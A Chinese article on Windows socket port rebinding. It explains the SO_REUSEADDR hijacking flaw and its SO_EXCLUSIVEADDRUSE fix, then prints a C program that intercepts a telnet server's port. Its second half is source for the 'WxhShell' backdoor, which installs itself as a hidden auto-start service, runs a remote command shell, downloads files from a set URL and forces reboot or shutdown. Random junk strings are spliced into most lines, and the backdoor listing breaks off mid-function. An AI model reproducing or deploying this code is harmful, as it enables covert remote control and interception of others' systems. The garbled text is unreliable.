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利用VC实现端口复用

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ka_R|x G\  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 4~nf~  
gKWUHlQY  
  saddr.sin_family = AF_INET; =|^R<#%/  
2G:KaQ)  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); KYg'=({x  
Kj4L PG  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); vr kj4J f  
i~4$V  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 >oAXS\Ts  
Q+U" %   
  这意味着什么?意味着可以进行如下的攻击: SU~ljAF4  
{G|= pM\'  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 H:16aaMn(  
.NF3dC\  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) f{(D+7e}  
>4=7t&h  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 wo86C[  
V4,\vgGu  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  3 }#rg  
IFF1wfC  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 A5ckosYyNA  
/|v b)J  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 a72L%oJ   
kidv^`.H$w  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 /Hq#!2)  
b0N7[M1Xl  
  #include ZNDjk  
  #include QbWeQ[V{  
  #include u*7>0o|H:  
  #include    i>pUTT _[  
  DWORD WINAPI ClientThread(LPVOID lpParam);   mJVru0  
  int main() 1n>AN.nI  
  { Q$yQ^ mG  
  WORD wVersionRequested; {q);1Nnf  
  DWORD ret; W{]r_`=:6S  
  WSADATA wsaData; m='_ O+ $  
  BOOL val; OZ<fQf.Gh}  
  SOCKADDR_IN saddr; B/JMH 1r  
  SOCKADDR_IN scaddr; MBol_#H  
  int err; 2>^jMln  
  SOCKET s; ).MV1@s  
  SOCKET sc; .&KC2#4   
  int caddsize; uUv^]B 8GM  
  HANDLE mt; +\cG{n*  
  DWORD tid;   1w 9zl}  
  wVersionRequested = MAKEWORD( 2, 2 ); @Ps1.  
  err = WSAStartup( wVersionRequested, &wsaData ); 3#`Sk`z<  
  if ( err != 0 ) { Te>m9Pav  
  printf("error!WSAStartup failed!\n"); sA,2gbW  
  return -1; Z =*h9,MY  
  } J$yJ2G  
  saddr.sin_family = AF_INET; _+0c<'  
   k& ]I;Aq  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 S=`#X,Wo  
~(.&nysZ-  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); "3Ckc"G@  
  saddr.sin_port = htons(23); tRTJQ  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 0\o5+  
  { qcBamf  
  printf("error!socket failed!\n"); AnBD~h h  
  return -1; +3R/g@n  
  } W)odaab7  
  val = TRUE; u&o<>d;)  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 YE-}1&8  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) {>X2\.Rl  
  { [](] "r  
  printf("error!setsockopt failed!\n"); C'joJEo  
  return -1; [Lid%2O3ZR  
  } 9_%??@^>  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; i6:O9Km  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 7{OD/*|  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 WG5)-;>q|  
d!4:nvKx  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) )gxZ &n6  
  { }};AV)}J  
  ret=GetLastError(); U/{#~P5s  
  printf("error!bind failed!\n"); IG8I<+<o  
  return -1; !z+'mF?V+X  
  } A4TW`g_zm  
  listen(s,2); x0dBg~I  
  while(1) CYhSCT!-?  
  { 6{[ uCxxl  
  caddsize = sizeof(scaddr);  KzZRFEA_  
  //接受连接请求 $< .wQ8:Q  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Mg\8m-L^  
  if(sc!=INVALID_SOCKET) G,@ Jo[e  
  { /+?eSgM/  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); kclZ+E  
  if(mt==NULL) Y\9zjewc  
  { ?Pt*4NaT;  
  printf("Thread Creat Failed!\n"); p{O@ts:  
  break; ~Z ;.n p(T  
  } TmLfH d  
  } 1Zgv+.  
  CloseHandle(mt); N9PEn[t@  
  } yO J|t#  
  closesocket(s); F%:o6mT  
  WSACleanup(); 6LzN#g  
  return 0; g_(O7  
  }   W!b'nRkq  
  DWORD WINAPI ClientThread(LPVOID lpParam) ,+'VQa"]  
  { -^$IjK-N  
  SOCKET ss = (SOCKET)lpParam; < _ <?p&  
  SOCKET sc; ?#/~ BZR!  
  unsigned char buf[4096]; O _^Y*!  
  SOCKADDR_IN saddr; I=4G+h5p  
  long num; 207h$a,  
  DWORD val; T2ZN=)xZ1  
  DWORD ret; |h2=9\:]  
  //如果是隐藏端口应用的话,可以在此处加一些判断  75T+6 u  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   \`>f?}4  
  saddr.sin_family = AF_INET; -dH]_  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ujeN|W  
  saddr.sin_port = htons(23); d{c06(#_  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) En YEAjX  
  { ^-qz!ib  
  printf("error!socket failed!\n"); F<Z13]|  
  return -1; 'LLpP#(  
  } rTA#4.*&  
  val = 100; `Wp& 'X  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) aj$&~-/ R  
  { D4U<Rn6N_5  
  ret = GetLastError(); |DXi~  
  return -1; )3)fq:[  
  } ~Z$Ro/;l  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) E.^F:$2  
  { D#d \1g  
  ret = GetLastError(); 'TDp%s*;  
  return -1; %ERR^  
  } V6r*fEhrT_  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) )$QZ",&5  
  { \|C~VU@  
  printf("error!socket connect failed!\n"); {:`XhPS<B  
  closesocket(sc); '],G!U(  
  closesocket(ss); ;b0;66C8|  
  return -1; `&FfGftc  
  } m~8=?R+m  
  while(1) Q^Q6| n  
  { mC!^`y)  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 H:,Hr_;nC  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 FLaj|Z~#)  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 wRe2sjM  
  num = recv(ss,buf,4096,0); CjmF2[|  
  if(num>0) :2AlvjvjZ  
  send(sc,buf,num,0); Qsr+f~"W  
  else if(num==0) \-{2E  
  break; NnO%D^P]  
  num = recv(sc,buf,4096,0); n<DZb`/uHZ  
  if(num>0) @6{F4  
  send(ss,buf,num,0); eZmwF@  
  else if(num==0) ;^  YpQP  
  break; }n?D#Pk,  
  } 88A,ll%  
  closesocket(ss); q$jwH] .  
  closesocket(sc); Fz@U\\94z  
  return 0 ; )S|&3\  
  } o:lMRP~  
2:&QBwr+;  
9mB] \{^  
==========================================================  ~5n?=  
T&]IPOH9  
下边附上一个代码,,WXhSHELL E&> 2=$~  
muIJeQ.C  
========================================================== Rh{`#dI~=  
5O:4-} hz  
#include "stdafx.h" c) _u^Dh  
8l>YpS*S^  
#include <stdio.h> /O[ Z  
#include <string.h> eY3<LVAX  
#include <windows.h> uUh6/=y  
#include <winsock2.h> MUMB\K*$  
#include <winsvc.h> F2dwT  
#include <urlmon.h> Ej$oRo{ IG  
Nq[-.}Z6  
#pragma comment (lib, "Ws2_32.lib") @{@)gE  
#pragma comment (lib, "urlmon.lib") cs)R8vuB)z  
qDjH^f  
#define MAX_USER   100 // 最大客户端连接数 6Q}>=R^h  
#define BUF_SOCK   200 // sock buffer ;rt\  
#define KEY_BUFF   255 // 输入 buffer cC TTjx{  
` 6pz9j]  
#define REBOOT     0   // 重启 K,Hxe;-  
#define SHUTDOWN   1   // 关机 5YQJNP  
lYy:A%yDT  
#define DEF_PORT   5000 // 监听端口 .8]=yPm  
L.% zs  
#define REG_LEN     16   // 注册表键长度 zz-X5PFn  
#define SVC_LEN     80   // NT服务名长度 8n/[oDc]  
<|VV8r93  
// 从dll定义API M#xol/)h  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); UW-`k1  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Q VWVZ >l  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -z>m]YDH  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); SHqz &2u  
Gc<^ b  
// wxhshell配置信息 L:Me  
struct WSCFG { ^[1Xl7)`  
  int ws_port;         // 监听端口 r9~IR  
  char ws_passstr[REG_LEN]; // 口令 z=qxZuFkDs  
  int ws_autoins;       // 安装标记, 1=yes 0=no r z5@E  
  char ws_regname[REG_LEN]; // 注册表键名 "tmr s_~  
  char ws_svcname[REG_LEN]; // 服务名 JgcMk]|'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 c)SQ@B@q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 z"V`8D  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 d@ tD0s  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 68nPz".X  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" UX)QdT45Mh  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2o~UA\:+=  
e(jD[q  
}; L+0O=zJF  
z#+Sf.  
// default Wxhshell configuration 9oVprd >%@  
struct WSCFG wscfg={DEF_PORT, pB,l t6  
    "xuhuanlingzhe", gflO0$i  
    1, p I@!2c:}  
    "Wxhshell", ,UneS  
    "Wxhshell", ! Y'~?BI  
            "WxhShell Service", |6~ Kin  
    "Wrsky Windows CmdShell Service", ^aY,Wq  
    "Please Input Your Password: ", }\vw>iHPX@  
  1, Gvqu v\  
  "http://www.wrsky.com/wxhshell.exe", %`]fZr A]#  
  "Wxhshell.exe" K#]FUUnj=  
    }; Wfh+D[^  
/rv=ml pRL  
// 消息定义模块 >S:+&VN`M  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; TR!7@Mu 3  
char *msg_ws_prompt="\n\r? for help\n\r#>"; RHuc#b0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; m<|fdS'@  
char *msg_ws_ext="\n\rExit."; k~qZ^9QB~  
char *msg_ws_end="\n\rQuit."; q (}#{OO  
char *msg_ws_boot="\n\rReboot..."; M[^EHa<i  
char *msg_ws_poff="\n\rShutdown..."; ?1Uq ud  
char *msg_ws_down="\n\rSave to "; *TYOsD**9  
1#nY Z%  
char *msg_ws_err="\n\rErr!"; h~k+!\  
char *msg_ws_ok="\n\rOK!"; _j|U>s   
13/U4-%b2  
char ExeFile[MAX_PATH]; FyRr/0C>  
int nUser = 0; u(4o#m  
HANDLE handles[MAX_USER]; V#V<Kz  
int OsIsNt; S|T*-?|  
&;$- &;  
SERVICE_STATUS       serviceStatus; je=XZ's,i~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Ej'N !d.  
R3E|seR  
// 函数声明 10r9sR  
int Install(void); $GIup5  
int Uninstall(void); 1K[y)q  
int DownloadFile(char *sURL, SOCKET wsh); -7A2@g  
int Boot(int flag); r[AqA  
void HideProc(void); &dJ\}O[r  
int GetOsVer(void); l1]'3]P(  
int Wxhshell(SOCKET wsl); \n0MqXs#  
void TalkWithClient(void *cs); %?!TqJT?{  
int CmdShell(SOCKET sock); saR9_ ux  
int StartFromService(void); p i\SRDP  
int StartWxhshell(LPSTR lpCmdLine); DcEGIaW  
yz_xWx#9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ' y_2"  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |}<!O@<|  
Ve t<,;Te  
// 数据结构和表定义 ;f2<vp;U  
SERVICE_TABLE_ENTRY DispatchTable[] = D~@lpcI  
{ $ZnVs@:S  
{wscfg.ws_svcname, NTServiceMain}, 9a{9|p>L  
{NULL, NULL} > `+lEob  
}; fx/If  
Xvn \~Vr  
// 自我安装 wO"ezQ  
int Install(void) >TS=tK  
{ K=!?gd!Vw  
  char svExeFile[MAX_PATH]; PpR eqmo  
  HKEY key; 4j~WrdI*  
  strcpy(svExeFile,ExeFile); RH&}'4JE:  
*5R91@xt  
// 如果是win9x系统,修改注册表设为自启动 5S&^mj-9  
if(!OsIsNt) { PsI{y&.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { SW=%>XKkh  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W29GM -,K  
  RegCloseKey(key); kk+:y{0V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ph@2[rUp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5z 9'~Gfb  
  RegCloseKey(key); txy'7t  
  return 0; _OR[RGy  
    } #L xfE<^  
  } $ Bdxu  
} a`S3v  
else { r }Nq"s<  
wI2fCq(a0  
// 如果是NT以上系统,安装为系统服务 mp17d$R-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3H,>[&d  
if (schSCManager!=0) )-S;j)(+  
{ No(S#,vJ;  
  SC_HANDLE schService = CreateService 5 OF*PBZ  
  ( u&$1XZ!es  
  schSCManager, B \>W  
  wscfg.ws_svcname, G>W:3y  
  wscfg.ws_svcdisp, Q?-uJ1J  
  SERVICE_ALL_ACCESS, scR+F'M  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 6G>bZ+  
  SERVICE_AUTO_START, Tg6nb7@P  
  SERVICE_ERROR_NORMAL, +g8uV hC  
  svExeFile, 8'Q1'yc  
  NULL, -/J2;AkGH  
  NULL, LQ4F/[1}  
  NULL, rOXh?r  
  NULL, bv'Z~@<c  
  NULL sys;Rz2  
  ); mNr<=Z%b  
  if (schService!=0) /n#t.XJY*  
  { K]dX5vJw'  
  CloseServiceHandle(schService); ceNJXK  
  CloseServiceHandle(schSCManager);  `/eh  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); K<7 Db4H  
  strcat(svExeFile,wscfg.ws_svcname); pqxBu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { DP4l %2m0  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); }t5pz[zl  
  RegCloseKey(key); 'K3%@,O  
  return 0; cUZ^,)8 Z  
    } mS >I#?  
  } [N guQ]B.  
  CloseServiceHandle(schSCManager); <N\#6m  
} |NaEXzo|qY  
} D[CEg2$y  
]e]hA@4  
return 1; UQ)7uYQ5  
} Xc7Qu?}  
7\JA8mm  
// 自我卸载 s&Qil07 Vl  
int Uninstall(void) C~:!WRCz  
{ e+P|PW  
  HKEY key; [LHfH3[gU  
%~YQl N  
if(!OsIsNt) { DwH=ln=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5 }F6s  
  RegDeleteValue(key,wscfg.ws_regname); C$fQ[@  
  RegCloseKey(key); m4kUA"n5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^tKJ}}  
  RegDeleteValue(key,wscfg.ws_regname); 9 A1w5|X  
  RegCloseKey(key); O,!4 W\s  
  return 0; 6'vt '9  
  } 2[$` ]{U  
} <t4l5nr#  
} 8sxH)"S  
else { fIcra  
Sh RkL<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]; G$~[  
if (schSCManager!=0) z3p #`  
{ y5 bELWA  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); RBM4_L  
  if (schService!=0) $)Pmr1==  
  { *`.4M)Ym~  
  if(DeleteService(schService)!=0) { 3ZU<u;  
  CloseServiceHandle(schService); ^)|1T#Tz  
  CloseServiceHandle(schSCManager); "M5&&\uT  
  return 0; 'Z(4Wuwb  
  } =8)q-{p3  
  CloseServiceHandle(schService); IEJp!P,E  
  } IOi6' 1l  
  CloseServiceHandle(schSCManager); B|+tK  
} ;yK:.Vg  
} Z]I yj 97  
OM 5h>\9  
return 1; haMt2S2_B:  
} B#;yko  
_fQBXG2  
// 从指定url下载文件 eA(c{  
int DownloadFile(char *sURL, SOCKET wsh) J#'+&D H  
{ b?FTwjV+#  
  HRESULT hr; '^Ce9r}  
char seps[]= "/"; $N1UEvC%Q  
char *token; 2KC~; 5  
char *file; (J^2|9r  
char myURL[MAX_PATH]; ;l6tZ]-"  
char myFILE[MAX_PATH]; e'Th[ wJ  
O%(k$ fvM  
strcpy(myURL,sURL); U i ~*]  
  token=strtok(myURL,seps); x9!vtrM\Zr  
  while(token!=NULL) ,ZLg=  
  { y~\K~qjd  
    file=token; )#l,RJ(  
  token=strtok(NULL,seps); @7aSq-(_l*  
  } _ s[v:c  
zn|/h,.  
GetCurrentDirectory(MAX_PATH,myFILE); *qm@;!C  
strcat(myFILE, "\\"); ij=}3;L_!  
strcat(myFILE, file); mME a*9P  
  send(wsh,myFILE,strlen(myFILE),0); h^KLqPBt{  
send(wsh,"...",3,0); e.IKmH]z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =K2mR}n\;  
  if(hr==S_OK) D*R49hja{  
return 0; tgbr/eCoU  
else ]h$,=Qf hD  
return 1; q"[8u ]j  
Dj9).lgc  
} Zu/}TS9bi  
8?r RLM4  
// 系统电源模块 $lMEZt8A  
int Boot(int flag) r%/*,lLO  
{ H]7;O M/g  
  HANDLE hToken; 3yfq*\_uXw  
  TOKEN_PRIVILEGES tkp; )} H46  
yS[Z%]bvU  
  if(OsIsNt) { c{u~=24;%#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4F+n`{~  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); VfiMR%i}  
    tkp.PrivilegeCount = 1; NN9` jP2  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; H `V3oS~}  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (fjAsbT  
if(flag==REBOOT) { ] 7, mo  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6DG:imGl  
  return 0; 'B>%5'SdD  
} nVC:5ie  
else { 1wa zJj=v  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) hd2 X/"  
  return 0; N}3$1=@Y  
} 6h|@Bz/A  
  } r%g?.4o*b  
  else { ui:  
if(flag==REBOOT) { \&p MF  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) oiq7I@Y`x  
  return 0; j:9kJq>mv  
} -/.Xf<y58  
else { ji[O?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,rp-`E5ap  
  return 0; t1)b26;  
} 0UmKS\P  
} c2z%|\q  
GP5Y5 )  
return 1; pCQB<6&1N  
} =x4:jas  
bV#U&)|  
// win9x进程隐藏模块 "3*Chc  
void HideProc(void) \1[I(u  
{ Xp=Y<`dX  
:A,V<Es}I"  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (c<Krc h  
  if ( hKernel != NULL ) 2@ >04]  
  { T7AFL=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /]Fs3uf  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *@q+A1P7@  
    FreeLibrary(hKernel); -BNlZgk-^  
  } QJ`#&QRp  
\ :8eN}B  
return; 9K@>{69WQ  
} G"= tQ$ZU  
N;A #3Ter  
// 获取操作系统版本 \vB-0w  
int GetOsVer(void) ]Ph~-O  
{ x7X"'1U  
  OSVERSIONINFO winfo; 0(|BQ'4~H  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); .(,4a<I?%N  
  GetVersionEx(&winfo); R<gC,eV<=  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 0}YR=  
  return 1; -~A7o3k35  
  else ~EIY(^|py  
  return 0; &X +Qi  
} @+ VvZc2Y  
_M+'30  
// 客户端句柄模块 uD&!]E3  
int Wxhshell(SOCKET wsl) \fphM6([RK  
{ \#[W8k<Z  
  SOCKET wsh; )>atoA  
  struct sockaddr_in client; EdA_Hf  
  DWORD myID; 9x,Aqr$t  
fv !l{  
  while(nUser<MAX_USER) ujZki.x  
{ ,|_ewye  
  int nSize=sizeof(client); :z%vNKy1  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &+-ZXN  
  if(wsh==INVALID_SOCKET) return 1; S<f&?\wK=v  
sQ/7Mc  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); z= -u89]  
if(handles[nUser]==0) mf'N4y%  
  closesocket(wsh); oh`I$  
else `e0U-W]kF  
  nUser++; ^CTgo,uf6H  
  } p3:x\P<|  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); cve(pkl  
+(5H$O{h  
  return 0; owTW_V  
} ?#xNz=V  
$EbxV"b+  
// 关闭 socket 2#LcL  
void CloseIt(SOCKET wsh) J"8bRp=/|  
{ e| (jv<~r  
closesocket(wsh); )#MKOsOct  
nUser--; |2X Et\P  
ExitThread(0); =YBwO. !%  
} 5M{N-L_eC  
ics  
// 客户端请求句柄 ]nN']?{7PW  
void TalkWithClient(void *cs) bCk_ZA  
{ p 8BAan3  
FyYQ4ov0&o  
  SOCKET wsh=(SOCKET)cs; )1O *~%  
  char pwd[SVC_LEN]; ??{(.`}R~  
  char cmd[KEY_BUFF]; -8qLshQ  
char chr[1]; 9Ps:]Kp!vN  
int i,j; ]DdD FLM  
4x=rew>Ew  
  while (nUser < MAX_USER) { @QtJ/("&WC  
/a6\G.C5  
if(wscfg.ws_passstr) { *}3e'0`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jK\2y|&&c  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K;G1cFFyG  
  //ZeroMemory(pwd,KEY_BUFF); \~Zj](#  
      i=0; ;C-5R U V  
  while(i<SVC_LEN) { bslv_OxJ  
jHBn^Nly  
  // 设置超时 mwCNfwb:  
  fd_set FdRead; %96JH YcX  
  struct timeval TimeOut; {$>*~.Wu  
  FD_ZERO(&FdRead); OekcU% C  
  FD_SET(wsh,&FdRead); kmM_Af&  
  TimeOut.tv_sec=8; + H_Jr'/  
  TimeOut.tv_usec=0; [9a0J):w{  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); bOux8OHt*  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); fu9y3`  
! 2"zz/N{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b ,7:=-D  
  pwd=chr[0]; N{iBVl  
  if(chr[0]==0xd || chr[0]==0xa) { p*W4^2(d  
  pwd=0; 5JDqSz{  
  break; =ALy.^J=  
  } JrseU6N  
  i++; _x z_D12  
    } E3.=|]W'  
JJ ,Fh .  
  // 如果是非法用户,关闭 socket 0F`@/C1y55  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); E@"+w,x)  
} AZorzQ]s  
Y:G6Nd VFM  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); B8Jev\_  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'rHkJ  
Iqe4O~)  
while(1) { A2Rr*e  
b0x9}  
  ZeroMemory(cmd,KEY_BUFF); Xgd!i}6Q  
Tx0/3^\>8A  
      // 自动支持客户端 telnet标准   17H_>a\`  
  j=0; 1 @E<5rp o  
  while(j<KEY_BUFF) { 1;SW% \M  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5h+g^{BE  
  cmd[j]=chr[0]; M\,0<{  
  if(chr[0]==0xa || chr[0]==0xd) { &pK1S>t  
  cmd[j]=0; Pp:(PoH  
  break; WDY,?  
  } x+nrdW+  
  j++; Hm`9M.5b  
    } oj$D3  
/`D]m?  
  // 下载文件 c>!>D7:7  
  if(strstr(cmd,"http://")) { >t'/(y  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]0xbvJ8oK  
  if(DownloadFile(cmd,wsh)) [xk1}D  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ws4aCH1  
  else W )q^@6[d  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rYeFYPS  
  } rcq(p (!  
  else { bL!NT}y`  
f'aUo|^?  
    switch(cmd[0]) { "2 ma]Ps  
  !V Zl<|  
  // 帮助 :Py/d6KK  
  case '?': { L/<^uO1  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {08UBnR  
    break; iF{eGi  
  } 9/{+,RpC  
  // 安装 ai`fP{WlX  
  case 'i': { f<uLbJ6  
    if(Install()) g!V;*[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2z:4\Y5  
    else ~{*FjZ`h  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D^04b< O<x  
    break; f 7y1V(t  
    } 0D/j2cT("k  
  // 卸载 k:Uyez  
  case 'r': { p44d&9  
    if(Uninstall()) 0DIaXdOdW+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n+rAbn5o$  
    else g*b%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %$Wt"~WE"O  
    break; C z4"[C`;  
    } EfcoJgX  
  // 显示 wxhshell 所在路径 ^;<s"TJ(m)  
  case 'p': { ZBdZr  
    char svExeFile[MAX_PATH]; $9+}$lpPd  
    strcpy(svExeFile,"\n\r"); IcoK22/  
      strcat(svExeFile,ExeFile); ^EjZ.#2l;  
        send(wsh,svExeFile,strlen(svExeFile),0); TW Qf2  
    break; `;*Wt9  
    } x7t<F4  
  // 重启 ub{<m^|)  
  case 'b': { gr4Hh/V  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4.|]R8Mn  
    if(Boot(REBOOT)) I`t"Na2i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [O&2!x  
    else { pxM^|?Hxc  
    closesocket(wsh); +yVz ) X  
    ExitThread(0); u#\=g:  
    } x{Gb4=?l  
    break; TRcY!  
    } C=h$8Q  
  // 关机 Dsm_T1X  
  case 'd': { Ol~sCr  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); vE>J@g2#  
